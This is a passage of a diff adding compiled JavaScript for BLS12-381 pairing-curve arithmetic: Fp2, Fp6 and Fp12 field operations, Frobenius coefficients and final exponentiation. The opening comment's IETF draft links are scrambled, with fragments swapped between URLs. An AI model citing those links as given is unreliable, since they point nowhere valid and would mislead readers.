[pairing-curves-11](https://tools.ietf.org/html/draft-irtf-cfrg-pairing-friendly-curves-11), +// [bls-sigs-04](https:/cfrg-hash-to/tools.ietf.org/html/draft-irtf-cfrg-bls-signature-04), +// [hash-to-curve-12](https://tools.ietf.org/html/draft-irtf--curve-12). +// +// ### Summary +// 1. BLS Relies on Bilinear Pairing (expensive) +// 2. Private Keys: 32 bytes +// 3. Public Keys: 48 bytes: 381 bit affine x coordinate, encoded into 48 big-endian bytes. +// 4. Signatures: 96 bytes: two 381 bit integers (affine x coordinate), encoded into two 48 big-endian byte arrays. +// - The signature is a point on the G2 subgroup, which is defined over a finite field +// with elements twice as big as the G1 curve (G2 is over Fp2 rather than Fp. Fp2 is analogous to the complex numbers). +// 5. The 12 stands for the Embedding degree. +// +// ### Formulas +// - `P = pk x G` - public keys +// - `S = pk x H(m)` - signing +// - `e(P, H(m)) == e(G, S)` - verification using pairings +// - `e(G, S) = e(G, SUM(n)(Si)) = MUL(n)(e(G, Si))` - signature aggregation +// Filecoin uses little endian byte arrays for private keys - +// so ensure to reverse byte order if you'll use it with FIL. +const sha256_1 = require("@noble/hashes/sha256"); +const utils_1 = require("@noble/hashes/utils"); +const bls_js_1 = require("./abstract/bls.js"); +const mod = require("./abstract/modular.js"); +const utils_js_1 = require("./abstract/utils.js"); +// Types +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4); +// prettier-ignore +const _8n = BigInt(8), _16n = BigInt(16); +// CURVE FIELDS +// Finite field over p. +const Fp_raw = BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab'); +const Fp = mod.Field(Fp_raw); +// Finite field over r. +// This particular field is not used anywhere in bls12-381, but it is still useful. +const Fr = mod.Field(BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001')); +const Fp2Add = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp.add(c0, r0), + c1: Fp.add(c1, r1), +}); +const Fp2Subtract = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp.sub(c0, r0), + c1: Fp.sub(c1, r1), +}); +const Fp2Multiply = ({ c0, c1 }, rhs) => { + if (typeof rhs === 'bigint') + return { c0: Fp.mul(c0, rhs), c1: Fp.mul(c1, rhs) }; + // (a+bi)(c+di) = (ac−bd) + (ad+bc)i + const { c0: r0, c1: r1 } = rhs; + let t1 = Fp.mul(c0, r0); // c0 * o0 + let t2 = Fp.mul(c1, r1); // c1 * o1 + // (T1 - T2) + ((c0 + c1) * (r0 + r1) - (T1 + T2))*i + const o0 = Fp.sub(t1, t2); + const o1 = Fp.sub(Fp.mul(Fp.add(c0, c1), Fp.add(r0, r1)), Fp.add(t1, t2)); + return { c0: o0, c1: o1 }; +}; +const Fp2Square = ({ c0, c1 }) => { + const a = Fp.add(c0, c1); + const b = Fp.sub(c0, c1); + const c = Fp.add(c0, c0); + return { c0: Fp.mul(a, b), c1: Fp.mul(c, c1) }; +}; +// G2 is the order-q subgroup of E2(Fp²) : y² = x³+4(1+√−1), +// where Fp2 is Fp[√−1]/(x2+1). #E2(Fp2 ) = h2q, where +// G² - 1 +// h2q +// NOTE: ORDER was wrong! +const FP2_ORDER = Fp_raw * Fp_raw; +const Fp2 = { + ORDER: FP2_ORDER, + BITS: (0, utils_js_1.bitLen)(FP2_ORDER), + BYTES: Math.ceil((0, utils_js_1.bitLen)(FP2_ORDER) / 8), + MASK: (0, utils_js_1.bitMask)((0, utils_js_1.bitLen)(FP2_ORDER)), + ZERO: { c0: Fp.ZERO, c1: Fp.ZERO }, + ONE: { c0: Fp.ONE, c1: Fp.ZERO }, + create: (num) => num, + isValid: ({ c0, c1 }) => typeof c0 === 'bigint' && typeof c1 === 'bigint', + is0: ({ c0, c1 }) => Fp.is0(c0) && Fp.is0(c1), + eql: ({ c0, c1 }, { c0: r0, c1: r1 }) => Fp.eql(c0, r0) && Fp.eql(c1, r1), + neg: ({ c0, c1 }) => ({ c0: Fp.neg(c0), c1: Fp.neg(c1) }), + pow: (num, power) => mod.FpPow(Fp2, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp2, nums), + // Normalized + add: Fp2Add, + sub: Fp2Subtract, + mul: Fp2Multiply, + sqr: Fp2Square, + // NonNormalized stuff + addN: Fp2Add, + subN: Fp2Subtract, + mulN: Fp2Multiply, + sqrN: Fp2Square, + // Why inversion for bigint inside Fp instead of Fp2? it is even used in that context? + div: (lhs, rhs) => Fp2.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp2.inv(rhs)), + inv: ({ c0: a, c1: b }) => { + // We wish to find the multiplicative inverse of a nonzero + // element a + bu in Fp2. We leverage an identity + // + // (a + bu)(a - bu) = a² + b² + // + // which holds because u² = -1. This can be rewritten as + // + // (a + bu)(a - bu)/(a² + b²) = 1 + // + // because a² + b² = 0 has no nonzero solutions for (a, b). + // This gives that (a - bu)/(a² + b²) is the inverse + // of (a + bu). Importantly, this can be computing using + // only a single inversion in Fp. + const factor = Fp.inv(Fp.create(a * a + b * b)); + return { c0: Fp.mul(factor, Fp.create(a)), c1: Fp.mul(factor, Fp.create(-b)) }; + }, + sqrt: (num) => { + if (Fp2.eql(num, Fp2.ZERO)) + return Fp2.ZERO; // Algo doesn't handles this case + // TODO: Optimize this line. It's extremely slow. + // Speeding this up would boost aggregateSignatures. + // https://eprint.iacr.org/2012/685.pdf applicable? + // https://github.com/zkcrypto/bls12_381/blob/080eaa74ec0e394377caa1ba302c8c121df08b07/src/fp2.rs#L250 + // https://github.com/supranational/blst/blob/aae0c7d70b799ac269ff5edf29d8191dbd357876/src/exp2.c#L1 + // Inspired by https://github.com/dalek-cryptography/curve25519-dalek/blob/17698df9d4c834204f83a3574143abacb4fc81a5/src/field.rs#L99 + const candidateSqrt = Fp2.pow(num, (Fp2.ORDER + _8n) / _16n); + const check = Fp2.div(Fp2.sqr(candidateSqrt), num); // candidateSqrt.square().div(this); + const R = FP2_ROOTS_OF_UNITY; + const divisor = [R[0], R[2], R[4], R[6]].find((r) => Fp2.eql(r, check)); + if (!divisor) + throw new Error('No root'); + const index = R.indexOf(divisor); + const root = R[index / 2]; + if (!root) + throw new Error('Invalid root'); + const x1 = Fp2.div(candidateSqrt, root); + const x2 = Fp2.neg(x1); + const { re: re1, im: im1 } = Fp2.reim(x1); + const { re: re2, im: im2 } = Fp2.reim(x2); + if (im1 > im2 || (im1 === im2 && re1 > re2)) + return x1; + return x2; + }, + // Same as sgn0_m_eq_2 in RFC 9380 + isOdd: (x) => { + const { re: x0, im: x1 } = Fp2.reim(x); + const sign_0 = x0 % _2n; + const zero_0 = x0 === _0n; + const sign_1 = x1 % _2n; + return BigInt(sign_0 || (zero_0 && sign_1)) == _1n; + }, + // Bytes util + fromBytes(b) { + if (b.length !== Fp2.BYTES) + throw new Error(`fromBytes wrong length=${b.length}`); + return { c0: Fp.fromBytes(b.subarray(0, Fp.BYTES)), c1: Fp.fromBytes(b.subarray(Fp.BYTES)) }; + }, + toBytes: ({ c0, c1 }) => (0, utils_js_1.concatBytes)(Fp.toBytes(c0), Fp.toBytes(c1)), + cmov: ({ c0, c1 }, { c0: r0, c1: r1 }, c) => ({ + c0: Fp.cmov(c0, r0, c), + c1: Fp.cmov(c1, r1, c), + }), + // Specific utils + // toString() { + // return `Fp2(${this.c0} + ${this.c1}×i)`; + // } + reim: ({ c0, c1 }) => ({ re: c0, im: c1 }), + // multiply by u + 1 + mulByNonresidue: ({ c0, c1 }) => ({ c0: Fp.sub(c0, c1), c1: Fp.add(c0, c1) }), + multiplyByB: ({ c0, c1 }) => { + let t0 = Fp.mul(c0, _4n); // 4 * c0 + let t1 = Fp.mul(c1, _4n); // 4 * c1 + // (T0-T1) + (T0+T1)*i + return { c0: Fp.sub(t0, t1), c1: Fp.add(t0, t1) }; + }, + fromBigTuple: (tuple) => { + if (tuple.length !== 2) + throw new Error('Invalid tuple'); + const fps = tuple.map((n) => Fp.create(n)); + return { c0: fps[0], c1: fps[1] }; + }, + frobeniusMap: ({ c0, c1 }, power) => ({ + c0, + c1: Fp.mul(c1, FP2_FROBENIUS_COEFFICIENTS[power % 2]), + }), +}; +// Finite extension field over irreducible polynominal. +// Fp(u) / (u² - β) where β = -1 +const FP2_FROBENIUS_COEFFICIENTS = [ + BigInt('0x1'), + BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa'), +].map((item) => Fp.create(item)); +// For Fp2 roots of unity. +const rv1 = BigInt('0x6af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09'); +// const ev1 = +// BigInt('0x699be3b8c6870965e5bf892ad5d2cc7b0e85a117402dfd83b7f4a947e02d978498255a2aaec0ac627b5afbdf1bf1c90'); +// const ev2 = +// BigInt('0x8157cd83046453f5dd0972b6e3949e4288020b5b8a9cc99ca07e27089a2ce2436d965026adad3ef7baba37f2183e9b5'); +// const ev3 = +// BigInt('0xab1c2ffdd6c253ca155231eb3e71ba044fd562f6f72bc5bad5ec46a0b7a3b0247cf08ce6c6317f40edbc653a72dee17'); +// const ev4 = +// BigInt('0xaa404866706722864480885d68ad0ccac1967c7544b447873cc37e0181271e006df72162a3d3e0287bf597fbf7f8fc1'); +// Eighth roots of unity, used for computing square roots in Fp2. +// To verify or re-calculate: +// Array(8).fill(new Fp2([1n, 1n])).map((fp2, k) => fp2.pow(Fp2.ORDER * BigInt(k) / 8n)) +const FP2_ROOTS_OF_UNITY = [ + [_1n, _0n], + [rv1, -rv1], + [_0n, _1n], + [rv1, rv1], + [-_1n, _0n], + [-rv1, rv1], + [_0n, -_1n], + [-rv1, -rv1], +].map((pair) => Fp2.fromBigTuple(pair)); +const Fp6Add = ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => ({ + c0: Fp2.add(c0, r0), + c1: Fp2.add(c1, r1), + c2: Fp2.add(c2, r2), +}); +const Fp6Subtract = ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => ({ + c0: Fp2.sub(c0, r0), + c1: Fp2.sub(c1, r1), + c2: Fp2.sub(c2, r2), +}); +const Fp6Multiply = ({ c0, c1, c2 }, rhs) => { + if (typeof rhs === 'bigint') { + return { + c0: Fp2.mul(c0, rhs), + c1: Fp2.mul(c1, rhs), + c2: Fp2.mul(c2, rhs), + }; + } + const { c0: r0, c1: r1, c2: r2 } = rhs; + const t0 = Fp2.mul(c0, r0); // c0 * o0 + const t1 = Fp2.mul(c1, r1); // c1 * o1 + const t2 = Fp2.mul(c2, r2); // c2 * o2 + return { + // t0 + (c1 + c2) * (r1 * r2) - (T1 + T2) * (u + 1) + c0: Fp2.add(t0, Fp2.mulByNonresidue(Fp2.sub(Fp2.mul(Fp2.add(c1, c2), Fp2.add(r1, r2)), Fp2.add(t1, t2)))), + // (c0 + c1) * (r0 + r1) - (T0 + T1) + T2 * (u + 1) + c1: Fp2.add(Fp2.sub(Fp2.mul(Fp2.add(c0, c1), Fp2.add(r0, r1)), Fp2.add(t0, t1)), Fp2.mulByNonresidue(t2)), + // T1 + (c0 + c2) * (r0 + r2) - T0 + T2 + c2: Fp2.sub(Fp2.add(t1, Fp2.mul(Fp2.add(c0, c2), Fp2.add(r0, r2))), Fp2.add(t0, t2)), + }; +}; +const Fp6Square = ({ c0, c1, c2 }) => { + let t0 = Fp2.sqr(c0); // c0² + let t1 = Fp2.mul(Fp2.mul(c0, c1), _2n); // 2 * c0 * c1 + let t3 = Fp2.mul(Fp2.mul(c1, c2), _2n); // 2 * c1 * c2 + let t4 = Fp2.sqr(c2); // c2² + return { + c0: Fp2.add(Fp2.mulByNonresidue(t3), t0), + c1: Fp2.add(Fp2.mulByNonresidue(t4), t1), + // T1 + (c0 - c1 + c2)² + T3 - T0 - T4 + c2: Fp2.sub(Fp2.sub(Fp2.add(Fp2.add(t1, Fp2.sqr(Fp2.add(Fp2.sub(c0, c1), c2))), t3), t0), t4), + }; +}; +const Fp6 = { + ORDER: Fp2.ORDER, + BITS: 3 * Fp2.BITS, + BYTES: 3 * Fp2.BYTES, + MASK: (0, utils_js_1.bitMask)(3 * Fp2.BITS), + ZERO: { c0: Fp2.ZERO, c1: Fp2.ZERO, c2: Fp2.ZERO }, + ONE: { c0: Fp2.ONE, c1: Fp2.ZERO, c2: Fp2.ZERO }, + create: (num) => num, + isValid: ({ c0, c1, c2 }) => Fp2.isValid(c0) && Fp2.isValid(c1) && Fp2.isValid(c2), + is0: ({ c0, c1, c2 }) => Fp2.is0(c0) && Fp2.is0(c1) && Fp2.is0(c2), + neg: ({ c0, c1, c2 }) => ({ c0: Fp2.neg(c0), c1: Fp2.neg(c1), c2: Fp2.neg(c2) }), + eql: ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => Fp2.eql(c0, r0) && Fp2.eql(c1, r1) && Fp2.eql(c2, r2), + sqrt: () => { + throw new Error('Not implemented'); + }, + // Do we need division by bigint at all? Should be done via order: + div: (lhs, rhs) => Fp6.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp6.inv(rhs)), + pow: (num, power) => mod.FpPow(Fp6, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp6, nums), + // Normalized + add: Fp6Add, + sub: Fp6Subtract, + mul: Fp6Multiply, + sqr: Fp6Square, + // NonNormalized stuff + addN: Fp6Add, + subN: Fp6Subtract, + mulN: Fp6Multiply, + sqrN: Fp6Square, + inv: ({ c0, c1, c2 }) => { + let t0 = Fp2.sub(Fp2.sqr(c0), Fp2.mulByNonresidue(Fp2.mul(c2, c1))); // c0² - c2 * c1 * (u + 1) + let t1 = Fp2.sub(Fp2.mulByNonresidue(Fp2.sqr(c2)), Fp2.mul(c0, c1)); // c2² * (u + 1) - c0 * c1 + let t2 = Fp2.sub(Fp2.sqr(c1), Fp2.mul(c0, c2)); // c1² - c0 * c2 + // 1/(((c2 * T1 + c1 * T2) * v) + c0 * T0) + let t4 = Fp2.inv(Fp2.add(Fp2.mulByNonresidue(Fp2.add(Fp2.mul(c2, t1), Fp2.mul(c1, t2))), Fp2.mul(c0, t0))); + return { c0: Fp2.mul(t4, t0), c1: Fp2.mul(t4, t1), c2: Fp2.mul(t4, t2) }; + }, + // Bytes utils + fromBytes: (b) => { + if (b.length !== Fp6.BYTES) + throw new Error(`fromBytes wrong length=${b.length}`); + return { + c0: Fp2.fromBytes(b.subarray(0, Fp2.BYTES)), + c1: Fp2.fromBytes(b.subarray(Fp2.BYTES, 2 * Fp2.BYTES)), + c2: Fp2.fromBytes(b.subarray(2 * Fp2.BYTES)), + }; + }, + toBytes: ({ c0, c1, c2 }) => (0, utils_js_1.concatBytes)(Fp2.toBytes(c0), Fp2.toBytes(c1), Fp2.toBytes(c2)), + cmov: ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }, c) => ({ + c0: Fp2.cmov(c0, r0, c), + c1: Fp2.cmov(c1, r1, c), + c2: Fp2.cmov(c2, r2, c), + }), + // Utils + // fromTriple(triple: [Fp2, Fp2, Fp2]) { + // return new Fp6(...triple); + // } + // toString() { + // return `Fp6(${this.c0} + ${this.c1} * v, ${this.c2} * v^2)`; + // } + fromBigSix: (t) => { + if (!Array.isArray(t) || t.length !== 6) + throw new Error('Invalid Fp6 usage'); + return { + c0: Fp2.fromBigTuple(t.slice(0, 2)), + c1: Fp2.fromBigTuple(t.slice(2, 4)), + c2: Fp2.fromBigTuple(t.slice(4, 6)), + }; + }, + frobeniusMap: ({ c0, c1, c2 }, power) => ({ + c0: Fp2.frobeniusMap(c0, power), + c1: Fp2.mul(Fp2.frobeniusMap(c1, power), FP6_FROBENIUS_COEFFICIENTS_1[power % 6]), + c2: Fp2.mul(Fp2.frobeniusMap(c2, power), FP6_FROBENIUS_COEFFICIENTS_2[power % 6]), + }), + mulByNonresidue: ({ c0, c1, c2 }) => ({ c0: Fp2.mulByNonresidue(c2), c1: c0, c2: c1 }), + // Sparse multiplication + multiplyBy1: ({ c0, c1, c2 }, b1) => ({ + c0: Fp2.mulByNonresidue(Fp2.mul(c2, b1)), + c1: Fp2.mul(c0, b1), + c2: Fp2.mul(c1, b1), + }), + // Sparse multiplication + multiplyBy01({ c0, c1, c2 }, b0, b1) { + let t0 = Fp2.mul(c0, b0); // c0 * b0 + let t1 = Fp2.mul(c1, b1); // c1 * b1 + return { + // ((c1 + c2) * b1 - T1) * (u + 1) + T0 + c0: Fp2.add(Fp2.mulByNonresidue(Fp2.sub(Fp2.mul(Fp2.add(c1, c2), b1), t1)), t0), + // (b0 + b1) * (c0 + c1) - T0 - T1 + c1: Fp2.sub(Fp2.sub(Fp2.mul(Fp2.add(b0, b1), Fp2.add(c0, c1)), t0), t1), + // (c0 + c2) * b0 - T0 + T1 + c2: Fp2.add(Fp2.sub(Fp2.mul(Fp2.add(c0, c2), b0), t0), t1), + }; + }, + multiplyByFp2: ({ c0, c1, c2 }, rhs) => ({ + c0: Fp2.mul(c0, rhs), + c1: Fp2.mul(c1, rhs), + c2: Fp2.mul(c2, rhs), + }), +}; +const FP6_FROBENIUS_COEFFICIENTS_1 = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x0'), + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + BigInt('0x0'), + ], + [BigInt('0x0'), BigInt('0x1')], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + BigInt('0x0'), + ], + [ + BigInt('0x0'), + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + ], +].map((pair) => Fp2.fromBigTuple(pair)); +const FP6_FROBENIUS_COEFFICIENTS_2 = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaad'), + BigInt('0x0'), + ], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + BigInt('0x0'), + ], + [ + BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa'), + BigInt('0x0'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + BigInt('0x0'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffeffff'), + BigInt('0x0'), + ], +].map((pair) => Fp2.fromBigTuple(pair)); +// The BLS parameter x for BLS12-381 +const BLS_X = BigInt('0xd201000000010000'); +const BLS_X_LEN = (0, utils_js_1.bitLen)(BLS_X); +const Fp12Add = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp6.add(c0, r0), + c1: Fp6.add(c1, r1), +}); +const Fp12Subtract = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp6.sub(c0, r0), + c1: Fp6.sub(c1, r1), +}); +const Fp12Multiply = ({ c0, c1 }, rhs) => { + if (typeof rhs === 'bigint') + return { c0: Fp6.mul(c0, rhs), c1: Fp6.mul(c1, rhs) }; + let { c0: r0, c1: r1 } = rhs; + let t1 = Fp6.mul(c0, r0); // c0 * r0 + let t2 = Fp6.mul(c1, r1); // c1 * r1 + return { + c0: Fp6.add(t1, Fp6.mulByNonresidue(t2)), + // (c0 + c1) * (r0 + r1) - (T1 + T2) + c1: Fp6.sub(Fp6.mul(Fp6.add(c0, c1), Fp6.add(r0, r1)), Fp6.add(t1, t2)), + }; +}; +const Fp12Square = ({ c0, c1 }) => { + let ab = Fp6.mul(c0, c1); // c0 * c1 + return { + // (c1 * v + c0) * (c0 + c1) - AB - AB * v + c0: Fp6.sub(Fp6.sub(Fp6.mul(Fp6.add(Fp6.mulByNonresidue(c1), c0), Fp6.add(c0, c1)), ab), Fp6.mulByNonresidue(ab)), + c1: Fp6.add(ab, ab), + }; // AB + AB +}; +function Fp4Square(a, b) { + const a2 = Fp2.sqr(a); + const b2 = Fp2.sqr(b); + return { + first: Fp2.add(Fp2.mulByNonresidue(b2), a2), + second: Fp2.sub(Fp2.sub(Fp2.sqr(Fp2.add(a, b)), a2), b2), // (a + b)² - a² - b² + }; +} +const Fp12 = { + ORDER: Fp2.ORDER, + BITS: 2 * Fp2.BITS, + BYTES: 2 * Fp2.BYTES, + MASK: (0, utils_js_1.bitMask)(2 * Fp2.BITS), + ZERO: { c0: Fp6.ZERO, c1: Fp6.ZERO }, + ONE: { c0: Fp6.ONE, c1: Fp6.ZERO }, + create: (num) => num, + isValid: ({ c0, c1 }) => Fp6.isValid(c0) && Fp6.isValid(c1), + is0: ({ c0, c1 }) => Fp6.is0(c0) && Fp6.is0(c1), + neg: ({ c0, c1 }) => ({ c0: Fp6.neg(c0), c1: Fp6.neg(c1) }), + eql: ({ c0, c1 }, { c0: r0, c1: r1 }) => Fp6.eql(c0, r0) && Fp6.eql(c1, r1), + sqrt: () => { + throw new Error('Not implemented'); + }, + inv: ({ c0, c1 }) => { + let t = Fp6.inv(Fp6.sub(Fp6.sqr(c0), Fp6.mulByNonresidue(Fp6.sqr(c1)))); // 1 / (c0² - c1² * v) + return { c0: Fp6.mul(c0, t), c1: Fp6.neg(Fp6.mul(c1, t)) }; // ((C0 * T) * T) + (-C1 * T) * w + }, + div: (lhs, rhs) => Fp12.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp12.inv(rhs)), + pow: (num, power) => mod.FpPow(Fp12, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp12, nums), + // Normalized + add: Fp12Add, + sub: Fp12Subtract, + mul: Fp12Multiply, + sqr: Fp12Square, + // NonNormalized stuff + addN: Fp12Add, + subN: Fp12Subtract, + mulN: Fp12Multiply, + sqrN: Fp12Square, + // Bytes utils + fromBytes: (b) => { + if (b.length !== Fp12.BYTES) + throw new Error(`fromBytes wrong length=${b.length}`); + return { + c0: Fp6.fromBytes(b.subarray(0, Fp6.BYTES)), + c1: Fp6.fromBytes(b.subarray(Fp6.BYTES)), + }; + }, + toBytes: ({ c0, c1 }) => (0, utils_js_1.concatBytes)(Fp6.toBytes(c0), Fp6.toBytes(c1)), + cmov: ({ c0, c1 }, { c0: r0, c1: r1 }, c) => ({ + c0: Fp6.cmov(c0, r0, c), + c1: Fp6.cmov(c1, r1, c), + }), + // Utils + // toString() { + // return `Fp12(${this.c0} + ${this.c1} * w)`; + // }, + // fromTuple(c: [Fp6, Fp6]) { + // return new Fp12(...c); + // } + fromBigTwelve: (t) => ({ + c0: Fp6.fromBigSix(t.slice(0, 6)), + c1: Fp6.fromBigSix(t.slice(6, 12)), + }), + // Raises to q**i -th power + frobeniusMap(lhs, power) { + const r0 = Fp6.frobeniusMap(lhs.c0, power); + const { c0, c1, c2 } = Fp6.frobeniusMap(lhs.c1, power); + const coeff = FP12_FROBENIUS_COEFFICIENTS[power % 12]; + return { + c0: r0, + c1: Fp6.create({ + c0: Fp2.mul(c0, coeff), + c1: Fp2.mul(c1, coeff), + c2: Fp2.mul(c2, coeff), + }), + }; + }, + // Sparse multiplication + multiplyBy014: ({ c0, c1 }, o0, o1, o4) => { + let t0 = Fp6.multiplyBy01(c0, o0, o1); + let t1 = Fp6.multiplyBy1(c1, o4); + return { + c0: Fp6.add(Fp6.mulByNonresidue(t1), t0), + // (c1 + c0) * [o0, o1+o4] - T0 - T1 + c1: Fp6.sub(Fp6.sub(Fp6.multiplyBy01(Fp6.add(c1, c0), o0, Fp2.add(o1, o4)), t0), t1), + }; + }, + multiplyByFp2: ({ c0, c1 }, rhs) => ({ + c0: Fp6.multiplyByFp2(c0, rhs), + c1: Fp6.multiplyByFp2(c1, rhs), + }), + conjugate: ({ c0, c1 }) => ({ c0, c1: Fp6.neg(c1) }), + // A cyclotomic group is a subgroup of Fp^n defined by + // GΦₙ(p) = {α ∈ Fpⁿ : α^Φₙ(p) = 1} + // The result of any pairing is in a cyclotomic subgroup + // https://eprint.iacr.org/2009/565.pdf + _cyclotomicSquare: ({ c0, c1 }) => { + const { c0: c0c0, c1: c0c1, c2: c0c2 } = c0; + const { c0: c1c0, c1: c1c1, c2: c1c2 } = c1; + const { first: t3, second: t4 } = Fp4Square(c0c0, c1c1); + const { first: t5, second: t6 } = Fp4Square(c1c0, c0c2); + const { first: t7, second: t8 } = Fp4Square(c0c1, c1c2); + let t9 = Fp2.mulByNonresidue(t8); // T8 * (u + 1) + return { + c0: Fp6.create({ + c0: Fp2.add(Fp2.mul(Fp2.sub(t3, c0c0), _2n), t3), + c1: Fp2.add(Fp2.mul(Fp2.sub(t5, c0c1), _2n), t5), + c2: Fp2.add(Fp2.mul(Fp2.sub(t7, c0c2), _2n), t7), + }), + c1: Fp6.create({ + c0: Fp2.add(Fp2.mul(Fp2.add(t9, c1c0), _2n), t9), + c1: Fp2.add(Fp2.mul(Fp2.add(t4, c1c1), _2n), t4), + c2: Fp2.add(Fp2.mul(Fp2.add(t6, c1c2), _2n), t6), + }), + }; // 2 * (T6 + c1c2) + T6 + }, + _cyclotomicExp(num, n) { + let z = Fp12.ONE; + for (let i = BLS_X_LEN - 1; i >= 0; i--) { + z = Fp12._cyclotomicSquare(z); + if ((0, utils_js_1.bitGet)(n, i)) + z = Fp12.mul(z, num); + } + return z; + }, + // https://eprint.iacr.org/2010/354.pdf + // https://eprint.iacr.org/2009/565.pdf + finalExponentiate: (num) => { + const x = BLS_X; + // this^(q⁶) / this + const t0 = Fp12.div(Fp12.frobeniusMap(num, 6), num); + // t0^(q²) * t0 + const t1 = Fp12.mul(Fp12.frobeniusMap(t0, 2), t0); + const t2 = Fp12.conjugate(Fp12._cyclotomicExp(t1, x)); + const t3 = Fp12.mul(Fp12.conjugate(Fp12._cyclotomicSquare(t1)), t2); + const t4 = Fp12.conjugate(Fp12._cyclotomicExp(t3, x)); + const t5 = Fp12.conjugate(Fp12._cyclotomicExp(t4, x)); + const t6 = Fp12.mul(Fp12.conjugate(Fp12._cyclotomicExp(t5, x)), Fp12._cyclotomicSquare(t2)); + const t7 = Fp12.conjugate(Fp12._cyclotomicExp(t6, x)); + const t2_t5_pow_q2 = Fp12.frobeniusMap(Fp12.mul(t2, t5), 2); + const t4_t1_pow_q3 = Fp12.frobeniusMap(Fp12.mul(t4, t1), 3); + const t6_t1c_pow_q1 = Fp12.frobeniusMap(Fp12.mul(t6, Fp12.conjugate(t1)), 1); + const t7_t3c_t1 = Fp12.mul(Fp12.mul(t7, Fp12.conjugate(t3)), t1); + // (t2 * t5)^(q²) * (t4 * t1)^(q³) * (t6 * t1.conj)^(q^1) * t7 * t3.conj * t1 + return Fp12.mul(Fp12.mul(Fp12.mul(t2_t5_pow_q2, t4_t1_pow_q3), t6_t1c_pow_q1), t7_t3c_t1); + }, +}; +const FP12_FROBENIUS_COEFFICIENTS = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x1904d3bf02bb0667c231beb4202c0d1f0fd603fd3cbd5f4f7b2443d784bab9c4f67ea53d63e7813d8d0775ed92235fb8'), + BigInt('0x00fc3e2b36c4e03288e9e902231f9fb854a14787b6c7b36fec0c8ec971f63c5f282d5ac14d6c7ec22cf78a126ddc4af3'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffeffff'), + BigInt('0x0'), + ], + [ + BigInt('0x135203e60180a68ee2e9c448d77a2cd91c3dedd930b1cf60ef396489f61eb45e304466cf3e67fa0af1ee7b04121bdea2'), + BigInt('0x06af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + BigInt('0x0'), + ], + [ + BigInt('0x144e4211384586c16bd3ad4afa99cc9170df3560e77982d0db45f3536814f0bd5871c1908bd478cd1ee605167ff82995'), + BigInt('0x05b2cfd9013a5fd8df47fa6b48b1e045f39816240c0b8fee8beadf4d8e9c0566c63a3e6e257f87329b18fae980078116'), + ], + [ + BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa'), + BigInt('0x0'), + ], + [ + BigInt('0x00fc3e2b36c4e03288e9e902231f9fb854a14787b6c7b36fec0c8ec971f63c5f282d5ac14d6c7ec22cf78a126ddc4af3'), + BigInt('0x1904d3bf02bb0667c231beb4202c0d1f0fd603fd3cbd5f4f7b2443d784bab9c4f67ea53d63e7813d8d0775ed92235fb8'), + ], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + BigInt('0x0'), + ], + [ + 